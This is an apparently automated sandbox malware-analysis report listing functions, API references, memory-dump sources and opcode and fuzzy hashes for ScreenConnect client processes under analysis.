Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.3171522952.00000000059B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 059B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_59b0000_ScreenConnect.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e9fa1520db275d65fcba80b80e2d6791c5681ce10d7d99f2040a1bbaecd907fc
Instruction ID: 12cd99b99704e0531584a194da46662f38afbc4cf88253425b67b4c781253479
Opcode Fuzzy Hash: e9fa1520db275d65fcba80b80e2d6791c5681ce10d7d99f2040a1bbaecd907fc
Instruction Fuzzy Hash: 1FE0C2762586189FC7069B99EC94CA13FB8DF5A22030640EBFA44CB233DA71DD01E792

Function 059B03A8 Relevance: .0, Instructions: 18COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.3171522952.00000000059B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 059B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_59b0000_ScreenConnect.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c9e256c6fe370ce72ef81d2c07db0314a7de957d028ce0dd25c8648b0b71d8cf
Instruction ID: b6938eccc5e4283b394074aadc25a4867a921267003f14cb81f0ffe3420b4e71
Opcode Fuzzy Hash: c9e256c6fe370ce72ef81d2c07db0314a7de957d028ce0dd25c8648b0b71d8cf
Instruction Fuzzy Hash: 38D05B363005149F83049B4ED404C46BFE9DFC97213058066F519C7320CE71DC11C794

Function 059B0340 Relevance: .0, Instructions: 15COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.3171522952.00000000059B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 059B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_59b0000_ScreenConnect.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ececeb97058cc941ad6533728c23c4c51963a16adba37e963ea5c514647525c6
Instruction ID: c5f3ab03a8e5968edd80a517a79c40ecc6412ce6cf77b4ab13eb2ee602e93901
Opcode Fuzzy Hash: ececeb97058cc941ad6533728c23c4c51963a16adba37e963ea5c514647525c6
Instruction Fuzzy Hash: D6D012353105245F8745AA5DE445CDA77DDEF8D6603104067F605CB331DEB1AC10D7D4

Function 059B0370 Relevance: .0, Instructions: 15COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.3171522952.00000000059B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 059B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_59b0000_ScreenConnect.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ca4ed38a7f6f2196fd2fe10847d55f7c903afd825eaf7cf9031b69878aec8f16
Instruction ID: 5aaf837746c3d650ae6c027835fe3bcc78dc0359cd785fbc4f7d59e416e59e06
Opcode Fuzzy Hash: ca4ed38a7f6f2196fd2fe10847d55f7c903afd825eaf7cf9031b69878aec8f16
Instruction Fuzzy Hash: 70D022323000289F8708EB5DE444CA67BEDDF9D22031140A6FA08CB330CB71DC0087E0

Function 059B2560 Relevance: .0, Instructions: 3COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.3171522952.00000000059B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 059B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_59b0000_ScreenConnect.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 767ad260b93d902dd56361f4035a29628b21c71ac9e1ccdb0c9b61db6770ba8f
Instruction ID: 5e26d47343da43443675b74a5a084989310e501eeb2490b5880d242f5e0a79d9
Opcode Fuzzy Hash: 767ad260b93d902dd56361f4035a29628b21c71ac9e1ccdb0c9b61db6770ba8f
Instruction Fuzzy Hash:

Analysis Process: ScreenConnect.WindowsClient.exePID: 7580, Parent PID: 7512COMMON

Execution Graph

Execution Coverage:	13.6%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	37.5%
Total number of Nodes:	8
Total number of Limit Nodes:	1

Executed Functions

Function 00007FFAAC770135 Relevance: 1.9, Strings: 1, Instructions: 667
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

6, xrefs: 00007FFAAC7701C6

Memory Dump Source

Source File: 0000000A.00000002.3172719511.00007FFAAC770000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFAAC770000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_7ffaac770000_ScreenConnect.jbxd

Similarity

API ID:
String ID: 6
API String ID: 0-1452363761
Opcode ID: 4a1e186b8524eb79f8cb42b5df9275cb3f5c3b9a74f69130c480c4e10452d118
Instruction ID: 44c75202403859720fd1a605a7e2b587c81ebc94dc98218f690a330e0559723e
Opcode Fuzzy Hash: 4a1e186b8524eb79f8cb42b5df9275cb3f5c3b9a74f69130c480c4e10452d118
Instruction Fuzzy Hash: C2125971A1EB5E8FF799D72C8455AB53BE1EF5A300F1480B9E44EC7193DD28E84A8381

Function 00007FFAAC7758F1 Relevance: 1.7, Strings: 1, Instructions: 456
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

6, xrefs: 00007FFAAC775C23

Memory Dump Source

Source File: 0000000A.00000002.3172719511.00007FFAAC770000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFAAC770000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_7ffaac770000_ScreenConnect.jbxd

Similarity

API ID:
String ID: 6
API String ID: 0-1452363761
Opcode ID: 5cf09f2a636cdb8f726c7e9e0d850485863ee8462794293b6a11475b2b0ebfd1
Instruction ID: 20b29353b053db9af9e7d609693b3a947fc3348b1a1feede52c9c6bec6147ebf
Opcode Fuzzy Hash: 5cf09f2a636cdb8f726c7e9e0d850485863ee8462794293b6a11475b2b0ebfd1
Instruction Fuzzy Hash: 27E1222191DA6FCBFEE9972884556B437E1EF52300F5881B9D84EC75C7DE28E80A87C1

Function 00007FFAAC463642 Relevance: 1.7, APIs: 1, Instructions: 171
pipeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateNamedPipeW.KERNELBASE ref: 00007FFAAC485D63

Memory Dump Source

Source File: 0000000A.00000002.3164918389.00007FFAAC460000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFAAC460000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_7ffaac460000_ScreenConnect.jbxd

Similarity

API ID: CreateNamedPipe
String ID:
API String ID: 2489174969-0
Opcode ID: 65293140e445c8b372aecb85c762e861d089ee192d0151127c0f893103def85b
Instruction ID: a97e456446fc36d3aabe61b33f646c1adada5ec8dc19184906ce818a355d7432
Opcode Fuzzy Hash: 65293140e445c8b372aecb85c762e861d089ee192d0151127c0f893103def85b
Instruction Fuzzy Hash: 5C51917191CA1C8FDB68EF58D845BE9B7E0FB59710F1082AEE04ED3241CB70A9858BC1

Function 00007FFAAC776B49 Relevance: .6, Instructions: 649COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.3172719511.00007FFAAC770000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFAAC770000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_7ffaac770000_ScreenConnect.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 74962dc666a662d3f6f75168a5b3d6b12a39da154d09319da5fbda8f9162da2a
Instruction ID: 59dd8f122e75c61563a13c905877e7d32fa183e1f059c5ae207db5418a507f57
Opcode Fuzzy Hash: 74962dc666a662d3f6f75168a5b3d6b12a39da154d09319da5fbda8f9162da2a
Instruction Fuzzy Hash: 24120635E1AA6ECFFB95D7288455AB973E1EF86304F548079D44EC31D6DE28E80983C1

Function 00007FFAAC774459 Relevance: 2.6, Strings: 2, Instructions: 106
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

/, xrefs: 00007FFAAC77448E
/, xrefs: 00007FFAAC7744DC

Memory Dump Source

Source File: 0000000A.00000002.3172719511.00007FFAAC770000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFAAC770000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_7ffaac770000_ScreenConnect.jbxd

Similarity

API ID:
String ID: /$/
API String ID: 0-972056843
Opcode ID: 2ec2c9cad42bdca017f1d83914bb4c7c4b8888e28a792e16d6849ffdc588ff7f
Instruction ID: 256b52f766edc011344f04489a942694da67a471bef47e2694e9485d8403a308
Opcode Fuzzy Hash: 2ec2c9cad42bdca017f1d83914bb4c7c4b8888e28a792e16d6849ffdc588ff7f
Instruction Fuzzy Hash: 4731F511E0EA6E8BF7A4A7689895274A6E1FF56300F4485BAD41DC32C3ED58EC5887C1

Function 00007FFAAC468014 Relevance: 1.7, APIs: 1, Instructions: 179
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SetProcessMitigationPolicy.KERNELBASE ref: 00007FFAAC468142

Memory Dump Source

Source File: 0000000A.00000002.3164918389.00007FFAAC460000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFAAC460000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_7ffaac460000_ScreenConnect.jbxd

Similarity

API ID: MitigationPolicyProcess
String ID:
API String ID: 1088084561-0
Opcode ID: ecd7fe92970a5c6b5921474c13dbfde3d46a3674ec524d6b93df63091420bf30
Instruction ID: f71c40547a2f54a4cf0a9dc544977dd09463cbdf3e9ee03ba7183f4f89dc16ed
Opcode Fuzzy Hash: ecd7fe92970a5c6b5921474c13dbfde3d46a3674ec524d6b93df63091420bf30
Instruction Fuzzy Hash: E5513C7181CB498FE7159FA8D84A5E9BBF0EF56310F04417EE089C3192DF68A84AC7D1

Function 00007FFAAC775B04 Relevance: 1.5, Strings: 1, Instructions: 201COMMON

Download Yara Rule

Strings

6, xrefs: 00007FFAAC775C23

Memory Dump Source

Source File: 0000000A.00000002.3172719511.00007FFAAC770000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFAAC770000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_7ffaac770000_ScreenConnect.jbxd

Similarity

API ID:
String ID: 6
API String ID: 0-1452363761
Opcode ID: 48803b658607585e4afeab56c17028a7670f405ac467f0864cb51519d247369f
Instruction ID: 1c3c0f629ae1c94202099a5500950089094acaaf701dba916aced3ec6c9e200e
Opcode Fuzzy Hash: 48803b658607585e4afeab56c17028a7670f405ac467f0864cb51519d247369f
Instruction Fuzzy Hash: 7B517B5194D69B8BFE956B78D461AF43BA0DF03314F0885B9D08ECA1D7CD1CE84E8382

Function 00007FFAAC774A25 Relevance: .4, Instructions: 411COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.3172719511.00007FFAAC770000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFAAC770000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_7ffaac770000_ScreenConnect.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0ea0a9cac0fe1826ee0ba73fde28635891e5771848c8b59649ebea7789c0b2d9
Instruction ID: ee7e721e76124b859f621fd35946a5e952756041f456c9524d47e540199b86ad
Opcode Fuzzy Hash: 0ea0a9cac0fe1826ee0ba73fde28635891e5771848c8b59649ebea7789c0b2d9
Instruction Fuzzy Hash: BBC1297291EA6A9BFB69D728C8428B537E0FF52350B14817DE44E87583ED14F80E8BC1

Function 00007FFAAC77113F Relevance: .2, Instructions: 250COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.3172719511.00007FFAAC770000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFAAC770000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_7ffaac770000_ScreenConnect.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 681386f85793cc5297b75e2a79545599af041cf6c148370acfc78a95958b4ff4
Instruction ID: 298efa635eb9d3f1f3e90f0eac2a290e997e39999782c06732f4274e9bf01298
Opcode Fuzzy Hash: 681386f85793cc5297b75e2a79545599af041cf6c148370acfc78a95958b4ff4
Instruction Fuzzy Hash: FF71C867D4E2A69BF352A77CA8654F57FB0DF5326470881B3D0CCCA1A3E908684E87D1

Function 00007FFAAC776C90 Relevance: .2, Instructions: 235COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.3172719511.00007FFAAC770000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFAAC770000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_7ffaac770000_ScreenConnect.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a9bad1e4c6de19a5471a975f6edf0139c29d99e855b6f12d5a397ce2c32b7550
Instruction ID: cddb0adb718e6f7d24add66cc972e0718047ea111e32a569264376aecb5779d9
Opcode Fuzzy Hash: a9bad1e4c6de19a5471a975f6edf0139c29d99e855b6f12d5a397ce2c32b7550
Instruction Fuzzy Hash: 45817935E1A92FCBFB99D7248055AB972F2EF96304F54C439D40EC31CADE29E84986D0

Function 00007FFAAC777F8D Relevance: .2, Instructions: 231COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.3172719511.00007FFAAC770000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFAAC770000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_7ffaac770000_ScreenConnect.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 56c70d8bd0b74d4ef28dab076f012efe9431fa397c452cbea4d0c88f4a75f127
Instruction ID: e1e185cf079ecdf0c5e7a2a5ac3cf86aef7ead505a2dad57c7d8de0c84a313a1
Opcode Fuzzy Hash: 56c70d8bd0b74d4ef28dab076f012efe9431fa397c452cbea4d0c88f4a75f127
Instruction Fuzzy Hash: AB613372A0EE9DCBFB659768D8554A93BF1EF96310F08817AD00DD3592DE24E80A87C1

Function 00007FFAAC778225 Relevance: .2, Instructions: 209COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.3172719511.00007FFAAC770000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFAAC770000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_7ffaac770000_ScreenConnect.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: de844d7ce5e11d58138dda1d7150a38277a19ecfb1ef0636d014247f8b6c0b23
Instruction ID: 51adecac940e8f6fcaf9bbf89cd8c42e923c56b01f2aa11888005db2393c331c
Opcode Fuzzy Hash: de844d7ce5e11d58138dda1d7150a38277a19ecfb1ef0636d014247f8b6c0b23
Instruction Fuzzy Hash: 9D617F74618A4ECFEF88DF18C894AA537F1FF69314B1442A9D41EC7296CB35E846CB81

Function 00007FFAAC773BBA Relevance: .2, Instructions: 195COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.3172719511.00007FFAAC770000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFAAC770000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_7ffaac770000_ScreenConnect.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 56c2e92eb8aff192e0e20d61b2afb6c784efc06b0e31c72a42a1337af4ce162d
Instruction ID: c257ac8e311c130a49bd046adb3db6887a5bcc2ff837badfb2d4fcbc8bcbf3d3
Opcode Fuzzy Hash: 56c2e92eb8aff192e0e20d61b2afb6c784efc06b0e31c72a42a1337af4ce162d
Instruction Fuzzy Hash: F1611334609A498FDBDCEF18C094AA577F2FF99304B2445A8D01DCF69BCA25E847CB80

Function 00007FFAAC772879 Relevance: .2, Instructions: 182COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.3172719511.00007FFAAC770000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFAAC770000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_7ffaac770000_ScreenConnect.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3fd56acec0c61e1ca3dc5a8ae92cdb9025d9fc49fd39e8954333a50c89cba3a1
Instruction ID: a59f16c97000fcc4286b90b109917f9c7619fdf60eab43df2d7f115a8d353239
Opcode Fuzzy Hash: 3fd56acec0c61e1ca3dc5a8ae92cdb9025d9fc49fd39e8954333a50c89cba3a1
Instruction Fuzzy Hash: B251D871A1CA99CFEF88DF28C455A6577E1FF55300F0841A8D45ECB687DE25EC068B80

Function 00007FFAAC7742B5 Relevance: .2, Instructions: 161COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.3172719511.00007FFAAC770000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFAAC770000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_7ffaac770000_ScreenConnect.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 81918a064a70f95a9fbc6fb7cacc8e1bf21254335b4081ec61a93357d400c4ed
Instruction ID: 78157b3ab56116714f74b71cbd0e1bc0308a2786b72e3cc62eb279c11ad9dc10
Opcode Fuzzy Hash: 81918a064a70f95a9fbc6fb7cacc8e1bf21254335b4081ec61a93357d400c4ed
Instruction Fuzzy Hash: 5A41D762D0E7AE8FF7559368881A5B87FB0EF53240B19C5F6C44DCB993DE18E8094781

Function 00007FFAAC778499 Relevance: .1, Instructions: 132COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.3172719511.00007FFAAC770000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFAAC770000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_7ffaac770000_ScreenConnect.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2da7d4a93d57cb42f351ba1326d662f8b0e25fddafe05919c4fa6e07ec90d83d
Instruction ID: d81ae0760cd93f443ad0b9aa0d96431c42310062355ff6081071db2a97da9828
Opcode Fuzzy Hash: 2da7d4a93d57cb42f351ba1326d662f8b0e25fddafe05919c4fa6e07ec90d83d
Instruction Fuzzy Hash: D331F572E1EE6D8BFB95876898211F83BF0EF46314F0441A6E55CE35C2DB19D80586C6

Function 00007FFAAC77000B Relevance: .1, Instructions: 123COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.3172719511.00007FFAAC770000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFAAC770000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_7ffaac770000_ScreenConnect.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2bbde006314dc1692b2b6f00904a97a25bbc366563d34730f7c7d1e9d09f93ec
Instruction ID: 716d01b8b329d388770e85b41a8c13373fe82e5a679f7008da560ea927548c0f
Opcode Fuzzy Hash: 2bbde006314dc1692b2b6f00904a97a25bbc366563d34730f7c7d1e9d09f93ec
Instruction Fuzzy Hash: C041386290EBD98FF7A6976848296757FB0AF53215B0940FBD08DC71E3C919A80DC392

Function 00007FFAAC770729 Relevance: .1, Instructions: 112COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.3172719511.00007FFAAC770000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFAAC770000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_7ffaac770000_ScreenConnect.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0a6c419d6b2467d52b7ce2f6aeca116015e4d01e9564ad11967fd1358c6bec6b
Instruction ID: 67cb75c5315cd76783b31e21256d8d04466c30b0cc2caea224f917be756e15df
Opcode Fuzzy Hash: 0a6c419d6b2467d52b7ce2f6aeca116015e4d01e9564ad11967fd1358c6bec6b
Instruction Fuzzy Hash: 3B314E70609A4E8FDB88EF28C451AB977B1FF59314B5045A9D01DC72D2CB35EC56CB80

Function 00007FFAAC77814A Relevance: .1, Instructions: 95COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.3172719511.00007FFAAC770000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFAAC770000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_7ffaac770000_ScreenConnect.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e2eae6f27536d7b3b0bdcabf457734dd307b9bf2e0770ea81250c9d5145f04bd
Instruction ID: 77130caf2d1e8b9459849a5f16d595e5f44672a1511d38d8d928eea426bb4e5b
Opcode Fuzzy Hash: e2eae6f27536d7b3b0bdcabf457734dd307b9bf2e0770ea81250c9d5145f04bd
Instruction Fuzzy Hash: 1221363184EB898FE7569734CC154A57BF1FF96350B0442BED04DC3192CB28E80AC381

Function 00007FFAAC770740 Relevance: .1, Instructions: 94COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.3172719511.00007FFAAC770000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFAAC770000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_7ffaac770000_ScreenConnect.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c7e93cf07ae8554cd52bc5e9f25575d071ed0effbd69de4387151797e7474d4d
Instruction ID: 12746c63b0c134753c3993c112b8b95931faacd4d2ea0427b09d2f5b3110587e
Opcode Fuzzy Hash: c7e93cf07ae8554cd52bc5e9f25575d071ed0effbd69de4387151797e7474d4d
Instruction Fuzzy Hash: 60310A70A0991E8FDF88EF18C451ABA77A2FFA9314B504669D41DC7286CB35EC56CBC0

Function 00007FFAAC7743C9 Relevance: .1, Instructions: 90COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.3172719511.00007FFAAC770000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFAAC770000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_7ffaac770000_ScreenConnect.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: db8a7dec62a9c558ed82a57ef533e2745cc18bf8cae9c8d1ae50448449707c4b
Instruction ID: 8665e96fc18a6281bf2df3a6d949960d40fce44ca869309954648693c26178ad
Opcode Fuzzy Hash: db8a7dec62a9c558ed82a57ef533e2745cc18bf8cae9c8d1ae50448449707c4b
Instruction Fuzzy Hash: B321DE6690EBBB8FFB69932844652B46AF0DF52240F1984BAC05DCB0D2CC6CD8499781

Function 00007FFAAC777F10 Relevance: .1, Instructions: 85COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.3172719511.00007FFAAC770000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFAAC770000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_7ffaac770000_ScreenConnect.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 08b2d9810a852042d2306748e3e3cdb73b2c6682da25228f4ddcb1c24b62e741
Instruction ID: 46ef970d5990fa796809ce50639b57f9fe35ae93de2d1fa051823794681ca8bd
Opcode Fuzzy Hash: 08b2d9810a852042d2306748e3e3cdb73b2c6682da25228f4ddcb1c24b62e741
Instruction Fuzzy Hash: 16113351A2DF9E8FFB89A72C58855B467E0FB9A21071482F6D40DC329BDD18DC4B8381

Function 00007FFAAC7752DD Relevance: .1, Instructions: 71COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.3172719511.00007FFAAC770000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFAAC770000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_7ffaac770000_ScreenConnect.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6a49997d1c1866d5cf09cba1b68f90d71f7a52581823e2f48e442c737a086a2e
Instruction ID: b8f019be1aaed1f874376b4c30bdfb2216942961966b2a0302b7a02b6a41259e
Opcode Fuzzy Hash: 6a49997d1c1866d5cf09cba1b68f90d71f7a52581823e2f48e442c737a086a2e
Instruction Fuzzy Hash: 1B11D5B1E1DB8DCFEFD58B6448550A87FB0EF56304F094199D14DC35A6DB64E4048B81

Function 00007FFAAC77452A Relevance: .1, Instructions: 71COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.3172719511.00007FFAAC770000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFAAC770000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_7ffaac770000_ScreenConnect.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5037346b64a3d35dd09078dad6431b4e9e7fa43293a5b2ec18e2a062b7d34eb6
Instruction ID: bc25ec6bc91aac8629357fc1189c7c4090fe30a21097c41b45ba9514377657bd
Opcode Fuzzy Hash: 5037346b64a3d35dd09078dad6431b4e9e7fa43293a5b2ec18e2a062b7d34eb6
Instruction Fuzzy Hash: 7911E511A0E9794FEB95A37C68599B56BE0DF57310B0840F6E40DCB197DD09E84987C0

Function 00007FFAAC773B59 Relevance: .1, Instructions: 63COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.3172719511.00007FFAAC770000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFAAC770000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_7ffaac770000_ScreenConnect.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a8e2cf001ee7376d7fc23cb29f1a13b8eb2a3630eddf9bc98be1e95603850f50
Instruction ID: a70ff830bc338683c745254cad155e0bb906b5a9a21e5ce26f29f69f651539e3
Opcode Fuzzy Hash: a8e2cf001ee7376d7fc23cb29f1a13b8eb2a3630eddf9bc98be1e95603850f50
Instruction Fuzzy Hash: 2211C43550DA9C8FDB55EB6CD451DE17FB0FF5632070446EAD04DCB062EA24D948C782

Function 00007FFAAC772927 Relevance: .1, Instructions: 60COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.3172719511.00007FFAAC770000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFAAC770000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_7ffaac770000_ScreenConnect.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 524d1fbebf94862aa172b8ea22e616f197d21350b56e85a36ba3ccdce803ec5e
Instruction ID: aeb5ceabe2b1790e039e47efec1af2d62fe6bfe04edb034cfc7e993e1eb85116
Opcode Fuzzy Hash: 524d1fbebf94862aa172b8ea22e616f197d21350b56e85a36ba3ccdce803ec5e
Instruction Fuzzy Hash: 681186A0A19A59CFEB84EF28C445B6577E1FF55300F1481B8C45ECB687DE25EC498BC0

Function 00007FFAAC772990 Relevance: .1, Instructions: 59COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.3172719511.00007FFAAC770000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFAAC770000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_7ffaac770000_ScreenConnect.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 07d947c82f40644c760144add03ba881c8b8cdfc238ce8c71e28b647cb11f3cb
Instruction ID: c57a23e215dd7140859d4983cec0bcd4042598452123fc27a76b20b59a6d93ed
Opcode Fuzzy Hash: 07d947c82f40644c760144add03ba881c8b8cdfc238ce8c71e28b647cb11f3cb
Instruction Fuzzy Hash: C41182A0A19A59CFEB88EF28C445B6577E1FF59300B0481A8C45ECB687DE25EC098BC0

Function 00007FFAAC7706E1 Relevance: .1, Instructions: 58COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.3172719511.00007FFAAC770000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFAAC770000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_7ffaac770000_ScreenConnect.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8cdf1cfd923d87ab9250d245dbf967b3a2aafe0836efe654578d5047988511f7
Instruction ID: 8118479b838c99f997c45c3afcaa52737cdd94059afe52718b4807e7a2439260
Opcode Fuzzy Hash: 8cdf1cfd923d87ab9250d245dbf967b3a2aafe0836efe654578d5047988511f7
Instruction Fuzzy Hash: 5401D2A250F7D58FE756973C54694B03FA0DF8326471881EFD088CB4A7E504991EC392

Function 00007FFAAC773E0A Relevance: .1, Instructions: 51COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.3172719511.00007FFAAC770000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFAAC770000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_7ffaac770000_ScreenConnect.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c8ccdb8a780cbc804ed5e95e10d74da16fba947b2ff49fe27b641e20c2897d26
Instruction ID: 7c47ebaea46744b35672c02c563b3eff0ed6136d729bbc336ad79a4537c5e524
Opcode Fuzzy Hash: c8ccdb8a780cbc804ed5e95e10d74da16fba947b2ff49fe27b641e20c2897d26
Instruction Fuzzy Hash: B5012C2560E7889FEFDADB28D8A15E03BA1EF5631432508EED059CF1C7DA16E84BC741

Function 00007FFAAC774588 Relevance: .0, Instructions: 26COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.3172719511.00007FFAAC770000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFAAC770000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_7ffaac770000_ScreenConnect.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ab2807b801254848d4de8088d3746f3532df925736851dea7fea84b98ed2508f
Instruction ID: de28c2c89725cbb427b3ba2b798a708baaa81f2586c468c6300087a25084c08c
